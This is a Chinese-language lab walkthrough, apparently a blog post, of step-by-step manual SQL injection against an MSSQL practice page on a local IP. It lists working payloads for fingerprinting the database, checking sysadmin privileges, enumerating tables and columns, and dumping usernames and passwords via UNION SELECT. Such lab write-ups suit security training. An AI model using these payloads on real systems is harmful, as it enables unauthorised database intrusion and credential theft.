步骤⼀:在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型
http://172.16.1.34/less-1.asp?id=1
![](https://i-blog.csdnimg.cn/direct/87d4b4c6528343f4bcfe5afd51db9f63.png)
步骤⼆:可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是MSSQL;也可根据⻚⾯报错信息来判断数据库
'and exists(select * from sysobjects)--+
'and exists(select count(*)from sysobjects)--+
![](https://i-blog.csdnimg.cn/direct/9a66f9a48f52477e93feba0da1a2bad7.png)
步骤三:也可根据以下sql语句来判断注⼊点权限...(根据⻚⾯显示效果)
判断当前是否为sa
' and exists(select is_srvrolemember('
sysadmin
'))--+
或
' and (select is_srvrolemember('
sysadmin
'))>0--+
![](https://i-blog.csdnimg.cn/direct/812dc882e6014b88b17660284940fd98.png)
步骤四:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限
' union select 1,user,is_srvrolemember('public')--+
![](https://i-blog.csdnimg.cn/direct/043e108c333d432fbd18f1c670193a8c.png)
-1' union select 1,@@version,is_srvrolemember('public')--+
![](https://i-blog.csdnimg.cn/direct/2bb34f3bfaee4d2c98cc0edff268a632.png)
步骤五:通过以下语句来猜解有哪些表,从⽽获取⽬标站点的表信息
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1-- + //users
![](https://i-blog.csdnimg.cn/direct/228567b5cad048e1975202fe6bd00358.png)
第⼆张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users')--+ //emails
![](https://i-blog.csdnimg.cn/direct/ea24c0007d6044798bb124f9f277ad5d.png)
第三张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails')--+ //uagents
![](https://i-blog.csdnimg.cn/direct/9788b0f1b70f4303b09bc59a615a429e.png)
第四张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents')--+ //referers
![](https://i-blog.csdnimg.cn/direct/d2ab782444434a4391d12ff94869cd06.png)
第五张表:-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents' and name !='referer
s')--+ //返回结果为空,说明不知道第五张表
![](https://i-blog.csdnimg.cn/direct/155a8207f689496ea37c81d634721d60.png)
步骤六:通过以下语句爆出表下的所有字段信息
'having 1=1--
![](https://i-blog.csdnimg.cn/direct/45193fc445fa4993b1a6f1a77972db90.png)
'group by id having 1=1--+
![](https://i-blog.csdnimg.cn/direct/93124bcfa0b242d1b911cb2aec92ecbc.png)
'group by id,username having 1=1--+
![](https://i-blog.csdnimg.cn/direct/74b24473580e4a629c12ac3420000599.png)
字段名:
id
,
username
,
password
步骤七:爆字段值
查询字段数据
1'order by 3--+ //回显正常
![](https://i-blog.csdnimg.cn/direct/5ebef509d0394e598050bbb24ff8e015.png)
1'order by 4--+ //回显错误
![](https://i-blog.csdnimg.cn/direct/e4d4d58c297e431fb421615644d8e16f.png)
回显存在内容的字段
-1'union select 1,2,3 from users--+
![](https://i-blog.csdnimg.cn/direct/95b5b8e58c4a498c9b36360b7348eb49.png)
查询字段内容
-1' union%20 select 1,username,password from users--+
![](https://i-blog.csdnimg.cn/direct/1de6cbf3e04c4e43a61664f8d63fdbf8.png)